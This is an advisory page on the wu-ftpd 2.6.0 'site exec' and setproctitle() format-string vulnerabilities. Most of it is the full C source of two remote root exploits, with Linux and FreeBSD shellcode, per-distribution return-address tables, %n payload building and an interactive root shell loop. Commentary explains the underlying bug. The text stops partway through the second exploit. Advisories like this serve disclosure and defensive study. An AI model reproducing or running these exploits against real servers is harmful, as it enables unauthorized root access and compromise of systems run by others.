|
COMMAND wuftpd SYSTEMS AFFECTED Wuftpd 6.0 PROBLEM A vulnerability involving an input validation error in the \"site exec\" command has recently been identified in the Washington University ftpd (wu-ftpd) software package. Sites running affected systems are advised to update their wu-ftpd software as soon as possible. A similar but distinct vulnerability has also been identified that involves a missing format string in several setproctitle() calls. It affects a broader number of ftp daemons. Please see Appendix A of this document for specific information about the status of specific ftpd implementations and solutions. \"Site exec\" Vulnerability ========================= A vulnerability has been identified in wu-ftpd and other ftp daemons based on the wu-ftpd source code. Wu-ftpd is a common package used to provide file transfer protocol (ftp) services. This vulnerability is being discussed as the wu-ftpd \"site exec\" or \"lreply\" vulnerability in various public forums. The wu-ftpd \"site exec\" vulnerability is the result of missing character-formatting argument in several function calls that implement the \"site exec\" command functionality. Normally if \"site exec\" is enabled, a user logged into an ftp server (including the \'ftp\' or \'anonymous\' user) may execute a restricted subset of quoted commands on the server itself. However, if a malicious user can pass character format strings consisting of carefully constructed *printf() conversion characters (%f, %p, %n, etc) while executing a \"site exec\" command, the ftp daemon may be tricked into executing arbitrary code as root. The \"site exec\" vulnerability appears to have been in the wu-ftpd code since the original wu-ftpd 2.0 came out in 1993. Any vendors who have based their own ftpd distributions on this vulnerable code are also likely to be vulnerable. The vulnerability appears to be exploitable if a local user account can be used for ftp login. Also, if the \"site exec\" command functionality is enabled, then anonymous ftp login allows sufficient access for an attack. setproctitle() Vulnerability ============================ A separate vulnerability involving a missing character-formatting argument in setproctitle(), a call which sets the string used to display process identifier information, is also present in wu-ftpd. Other ftpd implementations have been found to have vulnerable setproctitle() calls as well, including those from proftpd and OpenBSD. The setproctitle() vulnerability appears to have been present in various ftpd implementations since at least BSD ftpd 5.51 (which predates wuarchive-ftpd 1.0). It has also been confirmed to be present in BSD ftpd 5.60 (the final BSD release). Any vendors who have based their own ftpd distributions on this vulnerable code are also likely to be vulnerable. It should be noted that many operating systems do not support setproctitle() calls. However, other software engineering defects involving the same type of missing character-formatting argument may be present. tf8 posted following. It\'s another site exec problem that will give altered permissions... BTW, exploit is broken to avoid kids usage. /* * VERY PRIVATE VERSION. DO NOT DISTRIBUTE. 15-10-1999 * * WUFTPD 2.6.0 REMOTE ROOT EXPLOIT * by tf8 * * *NOTE*: For ethical reasons, only an exploit for 2.6.0 will be * released (2.6.0 is the most popular version nowadays), and it * should suffice to proof this vulnerability concept. * * Site exec was never really *fixed* * * Greetz to portal (he is elite!#%$) and all #!security.is, glitch, DiGit, * x90, venglin, xz, MYT and lamagra. * Also greetings go to the WU-FTPD development team for including this * bug in ALL their versions. * * Fuck to wuuru (he is an idiot) * * Account is not required, anonymous access is enough :) * * VERY PRIVATE VERSION. DO NOT DISTRIBUTE. 15-10-1999 */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/time.h> #include <netdb.h> #include <unistd.h> #include <netinet/in.h> #include <arpa/inet.h> #include <signal.h> #include <errno.h> #ifdef __linux #include <getopt.h> #endif #define MAKE_STR_FROM_RET(x) ((x)&0xff),(((x)&0xff00)>>8),(((x)&0xff0000)>>16),(((x)&0xff000000)>>24) #define GREEN \"33[32m\" #define RED \"33[31m\" #define NORM \"33[0m\" char infin_loop[]= /* for testing purposes */ \"xEBxFE\"; char bsdcode[] = /* Lam3rZ chroot() code rewritten for FreeBSD by venglin */ \"x31xc0x50x50x50xb0x7excdx80x31xdbx31xc0x43\" \"x43x53x4bx53x53xb0x5axcdx80xebx77x5ex31xc0\" \"x8dx5ex01x88x46x04x66x68xffxffx01x53x53xb0\" \"x88xcdx80x31xc0x8dx5ex01x53x53xb0x3dxcdx80\" \"x31xc0x31xdbx8dx5ex08x89x43x02x31xc9xfexc9\" \"x31xc0x8dx5ex08x53x53xb0x0cxcdx80xfexc9x75\" \"xf1x31xc0x88x46x09x8dx5ex08x53x53xb0x3dxcd\" \"x80xfex0exb0x30xfexc8x88x46x04x31xc0x88x46\" \"x07x89x76x08x89x46x0cx89xf3x8dx4ex08x8dx56\" \"x0cx52x51x53x53xb0x3bxcdx80x31xc0x31xdbx53\" \"x53xb0x01xcdx80xe8x84xffxffxffxffxffxffx30\" \"x62x69x6ex30x73x68x31x2ex2ex31x31x76x65x6e\" \"x67x6cx69x6e\"; char bsd_code_d[]= /* you should call it directly (no jump/call)*/ \"xEBxFExEBx02xEBx05xE8xF9xFFxFFxFFx5C\" \"x8Bx74x24xFCx31xC9xB1x15x01xCExB1x71xB0xEF\" \"x30x06x8Dx76x01xE2xF9xDEx26xDEx2FxBEx5FxF8\" \"xBFx22x6Fx5FxB5xEBxB4xBExBFx22x6Fx62xB9x14\" \"x87x75xEDxEFxEFxBDx5Fx67xBFx22x6Fx62xB9x11\" \"xBExBDx5FxEAxBFx22x6Fx66x2Cx62xB9x14xBDx5F\" \"xD2xBFx22x6FxBCx5FxE2xBFx22x6Fx5Cx11x62xB9\" \"x12x5FxE3xBDxBFx22x6Fx11x24x9Ax1Cx62xB9x11\" \"xBDx5FxD2xBFx22x6Fx62x99x12x66xA1xEBx62xB9\" \"x17x66xF9xB9xB9xBDx5FxD4xBFx22x6FxC0x8Dx86\" \"x81xC0x9Cx87xEFxC1xC1xEF\"; char linuxcode[]= /* Lam3rZ chroot() code */ \"x31xc0x31xdbx31xc9xb0x46xcdx80x31xc0x31xdb\" \"x43x89xd9x41xb0x3fxcdx80xebx6bx5ex31xc0x31\" \"xc9x8dx5ex01x88x46x04x66xb9xffxffx01xb0x27\" \"xcdx80x31xc0x8dx5ex01xb0x3dxcdx80x31xc0x31\" \"xdbx8dx5ex08x89x43x02x31xc9xfexc9x31xc0x8d\" \"x5ex08xb0x0cxcdx80xfexc9x75xf3x31xc0x88x46\" \"x09x8dx5ex08xb0x3dxcdx80xfex0exb0x30xfexc8\" \"x88x46x04x31xc0x88x46x07x89x76x08x89x46x0c\" \"x89xf3x8dx4ex08x8dx56x0cxb0x0bxcdx80x31xc0\" \"x31xdbxb0x01xcdx80xe8x90xffxffxffxffxffxff\" \"x30x62x69x6ex30x73x68x31x2ex2ex31x31\"; #define MAX_FAILED 4 #define MAX_MAGIC 100 static int magic[MAX_MAGIC],magic_d[MAX_MAGIC]; static char *magic_str=NULL; int before_len=0; char *target=NULL,*username=\"ftp\",*password=NULL; struct targets getit; struct targets { int def; char *os_descr, *shellcode; int delay; u_long pass_addr, addr_ret_addr; int magic[MAX_MAGIC], magic_d[MAX_MAGIC],islinux; }; struct targets targ[]={ {0,\"RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm\",linuxcode,2,0x8075b00-700,0xbfffb028,{0x87,3,1,2},{1,2,1,4},1}, {1,\"RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm\",linuxcode,2,0x8075b00-700,0xbfffb038,{0x87,3,1,2},{1,2,1,4},1}, {2,\"SuSe 6.3 with wuftpd 2.6.0(1) from rpm\",linuxcode,2,0x8076cb0-400,0xbfffb018,{0x87,3,1,2},{1,2,1,4},1}, {3,\"SuSe 6.4 with wuftpd 2.6.0(1) from rpm\",linuxcode,2,0x8076920-400,0xbfffafec,{0x88,3,1,2},{1,2,1,4},1}, {4,\"RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm (test)\",linuxcode,2,0x8075b00-700,0xbfffb070,{0x87,3,1,2},{1,2,1,4},1}, {5,\"FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from ports\",bsdcode,10,0x80bb474-100, 0xbfbfc164,{0x3b,2,4,1,0x44,2,1,2},{1,2,1,2,1,2,1,4},0}, {6,\"FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from packages\",bsdcode,2,0x806d5b0-500,0xbfbfc6bc, {0x84,1,2,1,2}, {1,3,2,1,4},0}, {7,\"FreeBSD 3.4-RELEASE with wuftpd 2.6.0(1) from ports\",bsdcode,2,0x80a4dec-400,0xbfbfc624,{0x3B,2,1,0xe,0x40,1,2,1,2},{1,2,1,2,1,3,2,1,4},0}, {8,\"FreeBSD 4.0-RELEASE with wuftpd 2.6.0(1) from packages\",infin_loop,2,0x80706f0,0xbfbfe798,{0x88,2,1,2},{1,2,1,4},0}, {0,NULL,NULL,0,0,0,{0},{0},0} }; void usage(char*zu,int q){ int i, n, padding; fprintf(stderr,\"Usage: %s -t <target> [-l user/pass] [-s systype] [-o offset] [-g] [-h] [-x]n\" \" [-m magic_str] [-r ret_addr] [-P padding] [-p pass_addr] [-M dir]n\" \"target : host with any wuftpdnuser : anonymous usern\" \"dir : if not anonymous user, you need to have writable directoryn\" \"magic_str : magic string (see exploit description)n-g : enables magic string diggingn\" \"-x : enables test modenpass_addr : pointer to setproctitle argumentn\" \"ret_addr : this is pointer to shellcodensystypes: n\",zu); for(i=0;targ[i].os_descr!=NULL;i++){ padding=0; fprintf(stderr,\"%s%2d - %sn\",targ[i].def?\"*\":\" \",i,targ[i].os_descr); if(q>1){ fprintf(stderr,\" Magic ID: [\"); for(n=0;targ[i].magic[n]!=0;n++){ if(targ[i].magic_d[n]==4) padding=targ[i].magic[n]; fprintf(stderr,\"%02X,%02X\",targ[i].magic[n],targ[i].magic_d[n]); if(targ[i].magic[n+1]!=0) fprintf(stderr,\":\"); } fprintf(stderr,\"] Padding: %dn\",padding); fflush(stderr); } } exit(1); } int connect_to_server(char*host){ struct hostent *hp; struct sockaddr_in cl; int sock; if(host==NULL||*host==(char)0){ fprintf(stderr,\"Invalid hostnamen\"); exit(1); } if((cl.sin_addr.s_addr=inet_addr(host))==-1) { if((hp=gethostbyname(host))==NULL) { fprintf(stderr,\"Cannot resolve %sn\",host); exit(1); } memcpy((char*)&cl.sin_addr,(char*)hp->h_addr,sizeof(cl.sin_addr)); } if((sock=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP))==-1){ fprintf(stderr,\"Error creating socket: %sn\",strerror(errno)); exit(1); } cl.sin_family=PF_INET; cl.sin_port=htons(21); if(connect(sock,(struct sockaddr*)&cl,sizeof(cl))==-1){ fprintf(stderr,\"Cannot connect to %s: %sn\",host,strerror(errno)); exit(1); } return sock; } int ftp_recv(int sock,char*buf,int buf_size,int disc){ int n=0; char q; if(disc) while((n=recv(sock,&q,1,0))==1&&q!=\'n\'); else { (void)bzero(buf,buf_size); n=recv(sock,buf,buf_size,0); if(n<0){ fprintf(stderr,\"ftp_recv: recv failedn\"); exit(1); } buf[n]=0; } return n; } int ftp_send(int sock,char*what,int size,int f,char*ans,int ans_size){ int n; n=send(sock,what,size,0); if(n!=size){ fprintf(stderr,\"ftp_send: failed to send. expected %d, sent %dn\", size,n); shutdown(sock,2); close(sock); exit(1); } if(f) return ftp_recv(sock,ans,ans_size,0); return 0; } int ftp_siteexec(int sock,char*buff,int buff_len,int q,char*ans,int ans_len){ ftp_send(sock,buff,buff_len,q,ans,ans_len); if(strncmp(ans,\"200-\",4)==0) ftp_recv(sock,NULL,0,1); else ftp_recv(sock,ans,ans_len,0); if(strncmp(ans,\"200-\",4)){ fprintf(stderr,\"Cannot find site exec response stringn\"); exit(1); } return 0; } void ftp_login(int sock,char*u_name,char*u_pass) { char buff[2048]; printf(\"loggin into system..n\"); snprintf(buff,2047,\"USER %srn\", u_name); ftp_send(sock, buff,strlen(buff),1,buff,2047); printf(GREEN\"USER %sn\"NORM\"%s\",u_name,buff); snprintf(buff,2047,\"PASS %srn\",u_pass); printf(GREEN\"PASS %sn\"NORM,*u_pass==\'x90\'?\"<shellcode>\":u_pass); ftp_send(sock,buff,strlen(buff),1,buff,2047); while(strstr(buff,\"230 \")==NULL){ (void)bzero(buff,2048); ftp_recv(sock,buff,2048,0); } printf(\"%s\",buff); return; } void ftp_mkchdir(int sock,char*cd,char*new) { char buff[2048]; sprintf(buff,\"CWD %srn\",cd); printf(GREEN\"%s\"NORM,buff); ftp_send(sock,buff,strlen(buff),1,buff,2047); printf(\"%s\",buff); sprintf(buff,\"MKD %srn\",new); ftp_send(sock,buff,strlen(buff),1,buff,2047); printf(GREEN\"MKD <shellcode>\"NORM\"n%s\",buff); sprintf(buff,\"CWD %srn\",new); ftp_send(sock,buff,strlen(buff),1,buff,2047); printf(GREEN\"CWD <shellcode>\"NORM\"n%s\",buff); return; } void process_possibly_rooted(int sock) { fd_set fd_read; char buff[1024], *cmd=getit.islinux?\"/bin/uname -a;/usr/bin/id;n\":\"/usr/bin/uname -a;/usr/bin/id;n\"; int n; FD_ZERO(&fd_read); FD_SET(sock, &fd_read); FD_SET(0, &fd_read); send(sock, cmd, strlen(cmd), 0); while(1) { FD_SET(sock,&fd_read); FD_SET(0,&fd_read); if(select(sock+1,&fd_read,NULL,NULL,NULL)<0) break; if( FD_ISSET(sock, &fd_read) ) { if((n=recv(sock,buff,sizeof(buff),0))<0){ fprintf(stderr, \"EOFn\"); exit(2); } if(write(1,buff,n)<0)break; } if ( FD_ISSET(0, &fd_read) ) { if((n=read(0,buff,sizeof(buff)))<0){ fprintf(stderr,\"EOFn\"); exit(2); } if(send(sock,buff,n,0)<0) break; } usleep(10); } fprintf(stderr,\"Connection aborted, select failed()n\"); exit(0); } int magic_check_f(int sock, char *str) { char q[2048], ans[2048]; snprintf(q, 2048, \"site exec %s%srn\", str, \"%.f\"); if( strstr( q, \"rn\") == NULL) { fprintf(stderr,\"Line TOO big..n\"); exit(-1); } ftp_siteexec(sock, q, strlen(q), 1, ans, 2048); if( before_len+10 < strlen(&ans[3]) ) return 0; before_len=strlen(&ans[3]); (void)strcat(str,\"%.f\"); return 1; } int magic_check_o(int sock, char *str) { char q[2048], ans[2048]; snprintf(q, 2048, \"site exec %s%srn\", str, \"%c\"); if( strstr( q, \"rn\") == NULL) { fprintf(stderr,\"Line TOO big..n\"); exit(-1); } ftp_siteexec( sock, q, strlen(q), 1, ans, 2048); if( before_len== strlen(&ans[3]) ) { before_len+=1; (void)strcat(str, \"%d\"); return 3; } before_len=strlen(&ans[3]); (void)strcat(str,\"%c\"); return 2; } int magic_check_ok( int sock, char *str) { char q[2048], ans[2048]; int i ,n=1, f, padding=0; snprintf(q, 2048,\"site exec aaaaaaaa%s%srn\", str, \"%p%p\"); if ( strstr(q, \"rn\" ) == NULL) { fprintf(stderr, \"Line too longn\"); exit(-1); } (void)bzero(ans, 2048); ftp_siteexec(sock, q, strlen(q), 1, ans, 2047); if(strstr(ans,\"0x61616161\")==NULL) return 0; for(i =0; i < MAX_MAGIC && magic[i]; i++); magic_d[i]=4; while(n){ for(f=0; f< 2; f++) { snprintf(q, 2048,\"site exec %.*saaaa%s%srn\", padding, \"xxxx\", str, f?\"%p%p\":\"%p\"); (void)bzero(ans, 2048); ftp_siteexec(sock, q, strlen(q), 1, ans, 2047); if( strstr(ans, \"0x61616161\")!=NULL) { if (f==0) { magic[i]=padding; return 1; } else if( f==1) { strcat(str,\"%p\"); magic[i]=padding; return 1; } } } if(padding > 4) { fprintf(stderr,\"Cannot calculate padding..n\"); exit(1); } padding++; } return 1; } int magic_digger(int sock) { int get_out=1,where=0,all_failed=MAX_FAILED*2,f=0,o=0; if(magic_str==NULL){ if((magic_str=(char*)malloc(4092))==NULL){ perror(\"malloc\"); exit(errno); } } (void)bzero(magic_str, 4092); where=0; while(get_out) { int q; if( where >= MAX_MAGIC-1 || all_failed <= 0 ) return -1; if( magic_check_f(sock, magic_str) ) { o=0,f++; if(f==1){ if(!magic[where]) magic[where]=1; else magic[++where]+=1; magic_d[where]=1; } else magic[where]+=1; all_failed=MAX_FAILED*2; printf(\"%s\", \"%.f\"); fflush(stdout); goto verify; } all_failed--; if((q=magic_check_o(sock,magic_str))){ f=0,o++; if(o==1){ if(!magic[where]) magic[0]=1; else magic[++where]+=1; magic_d[where]=q; } else { if(magic_d[where]==q) magic[where]+=1; else { magic[++where]=1; magic_d[where]=q; } } all_failed=MAX_FAILED*2; printf(\"%s\", q==2?\"%c\":\"%d\"); fflush(stdout); goto verify; } all_failed--; continue; verify: if(magic_check_ok(sock,magic_str)){ putchar(\'n\'); return 0; } } return 0; } int main(int argc, char *argv[]){ char *buff, *buff_p, *buff_p2, c, shellcode[500],*dir,*passwd=shellcode; int i, sock, num=-2, padding=-1, gm=0, testmode=0,mtype=0,bla=0,offset=0; u_long ret_addr=0, pass_addr=0; for(i=0;targ[i].os_descr!=NULL;i++); while((c=getopt(argc,argv,\"t:l:m:o:s:r:p:M:P:xghH?\"))!=EOF){ switch(c) { case \'t\': target=optarg;break; case \'l\': username=optarg; passwd=strchr(optarg,\'/\'); if(passwd==NULL) usage(argv[0],0); *passwd++=(char)0; break; case \'x\': testmode=1; break; case \'o\': offset=atoi(optarg);break; case \'p\': pass_addr=strtoul(optarg, &optarg,16); break; case \'g\': gm=1; break; case \'M\': dir=optarg;mtype=1;break; case \'m\': { int where=0; if(!*optarg) { fprintf(stderr,\"-m requires argument, try -h for helpn\"); exit(1); } while(1) { magic[where]=strtoul(optarg,&optarg,16); optarg=strchr(optarg,\',\'); if(optarg==NULL){ printf(\"comma missingn\"); exit(1); } optarg++; magic_d[where++]=strtoul(optarg,&optarg,16); if(strchr(optarg,\':\')==NULL){ magic[where]=magic_d[where]=0; break; } optarg=strchr(optarg,\':\'); optarg++; } } break; case \'s\': num=atoi(optarg); if(num>i) { fprintf(stderr,\"systype too big, try -h for helpn\"); exit(1); } break; case \'r\': ret_addr=strtoul(optarg,&optarg,16); break; case \'P\': padding=atoi(optarg); break; case \'H\': bla=2; default: usage(argv[0],bla);break; } } if(target==NULL){ fprintf(stderr,\"No target specified, try -h for helpn\"); exit(1); } if(num==-1||num==-2) { for(i=0;!targ[i].def;i++); num=i; } (void)memcpy((void*)&getit,(void*)&targ[num],sizeof(struct targets)); if(magic[1]!=0) { memcpy((void*)getit.magic,magic,sizeof(magic)); memcpy((void*)getit.magic_d,magic_d,sizeof(magic)); } if(ret_addr)getit.addr_ret_addr=ret_addr; if(pass_addr)getit.pass_addr=pass_addr; getit.addr_ret_addr+=(offset*4); sock=connect_to_server(target); memset(shellcode, \'x90\', sizeof(shellcode)); shellcode[sizeof(shellcode)-1]=(char)0; if(!mtype){ memcpy((void*)&shellcode[sizeof(shellcode)-strlen(getit.shellcode)-1],(void*)getit.shellcode, strlen(getit.shellcode)+1); shellcode[sizeof(shellcode)-1]=(char)0; }else{ memcpy((void*)&shellcode[250-strlen(getit.shellcode)-1],(void*)getit.shellcode,strlen(getit.shellcode)); shellcode[250-1]=(char)0; } printf(\"Target: %s (%s/%s): %sn\",target,username,*passwd==\'x90\'?\"<shellcode>\":passwd,getit.os_descr); printf(\"Return Address: 0x%08lx, AddrRetAddr: 0x%08lx, Shellcode: %dnn\",getit.pass_addr,getit.addr_ret_addr,strlen(getit.shellcode)); buff=(char *)malloc(1024); bzero(buff,1024); (void)ftp_recv(sock,NULL,0,1); (void)ftp_login(sock,username,passwd); if(gm||(magic_str==NULL&&getit.magic[0]==0)){ printf(\"STEP 2A: Generating magic string: \"); fflush(stdout); magic_digger(sock); memcpy((void *)getit.magic,(void*)magic,sizeof(magic)); memcpy((void*)getit.magic_d,(void*)magic_d,sizeof(magic_d)); printf(\"STEP 2B: MAGIC STRING: [\"); } else { printf(\"STEP 2 : Skipping, magic number already exists: [\"); } for(i=0;i<MAX_MAGIC&&getit.magic[i]!=0;i++){ printf(\"%02X,%02X\",getit.magic[i],getit.magic_d[i]); if(getit.magic[i+1]!=0) putchar(\':\'); } printf(\"]n\"); buff=(char *)realloc(buff, 4092); (void)bzero(buff, 4092); if(mtype) ftp_mkchdir(sock,dir,shellcode); printf(\"STEP 3 : Checking if we can reach our return address by format stringn\"); if(!magic_str){ magic_str=(char*)malloc(2048); if(magic_str==NULL) { perror(\"malloc\"); exit(errno); } (void)bzero(magic_str,2048); for(i=0;i<MAX_MAGIC&&getit.magic[i]!=0;i++){ switch(getit.magic_d[i]) { case 1: for(num=0;num<getit.magic[i];num++)strcat(magic_str,\"%.f\"); break; case 2: for(num=0;num<getit.magic[i];num++)strcat(magic_str,\"%c\"); break; case 3: for(num=0;num<getit.magic[i];num++)strcat(magic_str,\"%d\"); break; case 4:if(padding<0)padding=getit.magic[i];break; default:fprintf(stderr,\"STEP 3: INternal errorn\"); exit(1); break; } } } if(padding<0){ for(num=0;num<MAX_MAGIC&&getit.magic_d[num]!=4;num++); if(num<(MAX_MAGIC-1)) padding=getit.magic[num]; else fprintf(stderr,\"WARNING: PROBLEMS WITH PADDINGn\"); } if(!getit.islinux){ if(!testmode) snprintf(buff,4096,\"site exec %.*s%c%c%c%c%s|%srn\",padding,\"xxxxxxxxxxxxxxxxxxx\",MAKE_STR_FROM_RET(getit.addr_ret_addr),magic_str,\"%p\"); else snprintf(buff,4096,\"site exec %.*s%c%c%c%c%s|%srn\",padding,\"xxxxxxxxxxxxxxxxxxx\",MAKE_STR_FROM_RET(getit.pass_addr),magic_str,\"%p\"); } else { if(!testmode) snprintf(buff,4096,\"site exec %.*s%c%cxff%c%c%s|%srn\",padding,\"xxxxxxxxxxxxxxxxxxx\",MAKE_STR_FROM_RET(getit.addr_ret_addr),magic_str,\"%p\"); else snprintf(buff,4096,\"site exec %.*s%c%cxff%c%c%s|%srn\",padding,\"xxxxxxxxxxxxxxxxxxx\",MAKE_STR_FROM_RET(getit.pass_addr),magic_str,\"%p\"); } sleep(getit.delay); fflush(stdout); if((buff_p=(char *)malloc(4096))==NULL){ fprintf(stderr,\"malloc failed.n\"); exit(1); } (void)bzero(buff_p,4096); ftp_siteexec(sock,buff,strlen(buff),1,buff_p,4095); if((buff_p2=strchr(buff_p,\'r\'))!=NULL) *buff_p2=(char)0; if((buff_p2=strchr(buff_p,\'n\'))!=NULL) *buff_p2=(char)0; buff_p2=strstr(buff_p,\"|0x\"); if(buff_p2==NULL){ fprintf(stderr,\"Fix me, incorrect response from \'%%p\':%sn\",buff_p); exit(1); } buff_p2+=3; if(!testmode) printf(\"STEP 4 : Ptr address test: 0x%s (if it is not 0x%08lx ^C me now)n\",buff_p2,getit.addr_ret_addr); else printf(\"STEP 4 : Ptr address test: 0x%s (if it is not 0x%08lx ^C me now)n\",buff_p2,getit.pass_addr); sleep(getit.delay); buff_p2=strstr(buff, \"%.f\"); *buff_p2++=(char )0; strcpy(buff_p, buff); if(!testmode) sprintf(buff_p+strlen(buff_p),\"%s%u%c\",\"%d%.\",(u_int)getit.pass_addr,\'d\'); else sprintf(buff_p+strlen(buff_p),\"%s\",\"%d%d\"); strcpy(buff_p+strlen(buff_p), buff_p2); buff_p2=strchr(buff_p,\'|\'); buff_p2++; printf(\"STEP 5 : Sending code.. this will take about 10 seconds.n\"); if(!testmode){ strcpy(buff_p2,\"%nrn\"); ftp_send(sock,buff_p,strlen(buff_p),0,NULL,0); } else { (void)bzero(buff,4096); strcpy(buff_p2,\"%srn\"); ftp_send(sock,buff_p,strlen(buff_p),1,buff,4092); printf(\"got answer: %sn\",buff); exit(0); } free(buff_p); free(buff); signal(SIGINT, SIG_IGN); signal(SIGHUP, SIG_IGN); printf(RED\"Press ^\\ to leave shell\"NORM\"n\"); process_possibly_rooted(sock); return 0; } Lamagra Argamal added brought to you the story behind it. The story begins inside the ftpcmd.y file. Which has the ftp commands in it. The bug is in the site_exec(char *cmd) function. There is calls lreply(200,cmd); In ftpd.c we find void lreply(int n, char *fmt,...) .... vreply(USE_REPLY_LONG, n, fmt, ap) ... and void vreply(long flags, int n, char *fmt, va_list ap) ... vsnprintf(buf + (n ? 4 : 0), n ? sizeof(buf) - 4 : sizeof(buf), fmt, ap) .... cmd becomes fmt with vsnprintf that\'s bad. The idea is to put in formatstrings to get some extra priviledges. We can use %n to overwrite some stuff. eg. overwrite a ret-address or a null at the end of a buffer (cause an overflow) or change the configuration or uid like I did in my proftp exploit (check proftp_pcc.c on Packetstorm). There are some other bugs in site_exec like for (t = cmd; *t && !isspace(*t); t++) { if (isupper(*t)) { *t = tolower(*t); } } Sanitizing stops at a space?? Wuftpd is all really buggy code. Lamagra did some checking and found some minor bugs there too. First in modules/mod_pam.c /* Allocate our entries...we don\'t free this because PAM does this for us. */ pam_user = malloc(strlen(cmd->argv[0]) + 1); if(pam_user == (char *)0) return pam_return_type ? ERROR(cmd) : DECLINED(cmd); sstrncpy(pam_user, cmd->argv[0], strlen(cmd->argv[0]) + 1); pam_pass = malloc(strlen(cmd->argv[1]) + 1); Pam doesn\'t free these according to me. So this could lead to a pottential system DoS if abused. Fortunatly proftpd has a limit of 3 on USER/PASS. Second, in the set_proc_title(char *fmt,...) function in main.c It constructs a buffer with hostname + user + cmd to replace argv[0]. If setproctitle(char *fmt,...) is available (only on debian and bsd). It calls setproctitle(statsbuf); what re-opens the old bug Not a big thing since almost nobody has it. According to Eric Hines it has come to his discovery that some systems at MIT are for example vulnerable to the vulnerability, and some aren\'t.. (All) with the same default RH 6.2 installations. The problem occurs when you attempt to execute the exploit on a remote machine and are left with a telnet session to PORT 21 of the vulnerable system, stuck to your typical HELP commands. This is because the exploit is attempting to utilize the WRONG [stack retr addr] of the vulnerable ftp daemon. The reason being it is not overflowing the stack, leaving you with this telnet session. Below is another exploit for FreeBSD only: /* * WU-hooooooooo ! ;) * remote root exploit for FreeBSD Wu-ftpd 2.6.0 ! * Written by glitch of AdG. * Shellcode by Myt of AdG * This is mega private ! * for Action Direct Group members only ! * Don\'t distribute ! * * Greetings to tf8, adm. * */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/time.h> #include <errno.h> #include <netinet/in.h> #include <unistd.h> #include <netdb.h> #include <signal.h> /* * Warning ! You may increase DELAY value * for slow connections ! * */ #define DELAY 5 char bsd_shellcode[] = \"x8Bx74x24xFCx31xC9xB1x15x01xCExB1x71xB0xEF\" \"x30x06x8Dx76x01xE2xF9xDEx26xDEx2FxBEx5FxF8\" \"xBFx22x6Fx5FxB5xEBxB4xBExBFx22x6Fx62xB9x14\" \"x87x75xEDxEFxEFxBDx5Fx67xBFx22x6Fx62xB9x11\" \"xBExBDx5FxEAxBFx22x6Fx66x2Cx62xB9x14xBDx5F\" \"xD2xBFx22x6FxBCx5FxE2xBFx22x6Fx5Cx11x62xB9\" \"x12x5FxE3xBDxBFx22x6Fx11x24x9Ax1Cx62xB9x11\" \"xBDx5FxD2xBFx22x6Fx62x99x12x66xA1xEBx62xB9\" \"x17x66xF9xB9xB9xBDx5FxD4xBFx22x6FxC0x8Dx86\" \"x81xC0x9Cx87xEFxC1xC1xEF\"; struct sys_type { char *sysname; int penum; int penum2; int penum3; int offset; /* Dword offset from scanned PTRkeeper to RetAddres keeper */ char *shellcode; }; struct sys_type target[] = { {\"FreeBSD 3.3-STABLE with Wu-ftpd 2.6.0(1) from PORTS\",47,37,52,355,bsd_shellcode}, {\"FreeBSD 3.4-RELEASE/STABLE with Wu-ftpd 2.6.0(1) from PORTS\",46,36,51,354,bsd_shellcode}, /* {\"FreeBSD 4.0-RELEASE with Wu-ftpd 2.6.0(1) from PORTS\",32,48,44,355,bsd_shellcode}, */ {NULL,0,0,0,0,NULL} }; int sock; /* Socket Descriptor */ int sysnumber = 0; char tosend[1024]; /* send buffer */ char torecv[4096]; /* receive buffer */ int max(int,int); char *scan_ptrretaddr(int,int); char *scan_retaddr(int); void receive(void); void ftp_login(char *,char *); void store_value(int,int,int); void shell(void); void site_exec(char *); void usage(char *); int main (argc,argv) int argc; char *argv[]; { int port = 21; int main_index = 0; char *ptrretaddr; char *retaddr; struct sockaddr_in sin; struct hostent *host; while(target[sysnumber].sysname != NULL) sysnumber++; if (argc < 3) usage(argv[0]); main_index = atoi(argv[2]); if (main_index < 0 || main_index > sysnumber-1) { printf(\"Wrong system identifier!n\"); usage(argv[0]); } printf (\"Exploiting: %sn\",target[main_index].sysname); if ((sock=socket(AF_INET,SOCK_STREAM,0)) < 0) { perror(\"Socket error\"); exit(-1); } if(argv[3]) port=atoi(argv[3]); bzero((char*)&sin,sizeof(sin)); sin.sin_family=AF_INET; sin.sin_port=htons(port); host=gethostbyname(argv[1]); if (host == 0) { printf(\"Cannot resolve %sn\",argv[1]); exit(-1); } memcpy(&sin.sin_addr,host->h_addr,host->h_length); if ((connect(sock, (struct sockaddr *)&sin, sizeof(sin))) < 0) { perror(\"Connect error\"); exit(-1); } printf(\"nCONNECTED!nn\"); sleep(DELAY); receive(); fputs(torecv,stdout); ftp_login(\"ftp\",target[main_index].shellcode); ptrretaddr = scan_ptrretaddr(target[main_index].penum,target[main_index].offset); retaddr = scan_retaddr(target[main_index].penum2); store_value(target[main_index].penum,((int)ptrretaddr & 65535),1); sleep(DELAY);receive(); store_value(target[main_index].penum3,(int)retaddr,2); printf(\"33[32mAdG rox ! :)33[37mn\"); write(sock,\"uname -a;idn\",strlen(\"uname -a;idn\")); signal(SIGINT,SIG_IGN); shell(); } int max(int x,int y) { if (x > y) return(x); return(y); } void receive(void) { bzero(torecv,sizeof(torecv)); if(read(sock,torecv,sizeof(torecv)) == 0) { printf(\"Connection closed by foreign host!n\"); exit(-1); } } void shell(void) { fd_set rset; int nfds,nread; bzero(torecv,sizeof(torecv)); for (;;) { nfds=max(fileno(stdin),sock)+1; FD_ZERO(&rset); FD_SET(fileno(stdin),&rset); FD_SET(sock,&rset); select(nfds,&rset,NULL,NULL,NULL); if(FD_ISSET(fileno(stdin),&rset)) { bzero(tosend,sizeof(tosend)); fgets(tosend,sizeof(tosend)-2,stdin); write(sock,tosend,strlen(tosend)); } if(FD_ISSET(sock,&rset)) { bzero(torecv,sizeof(torecv)); if((nread=read(sock,torecv,sizeof(torecv))) == 0) { printf(\"nEOFn\"); exit(0); } if (nread < 0) { perror(\"Read error\"); exit(-1); } fputs(torecv,stdout); } } } void ftp_login(char *username, char *password) { sprintf(tosend,\"USER %sn\",username); printf(\"33[32m%s33[37m\",tosend); write(sock,tosend,strlen(tosend)); 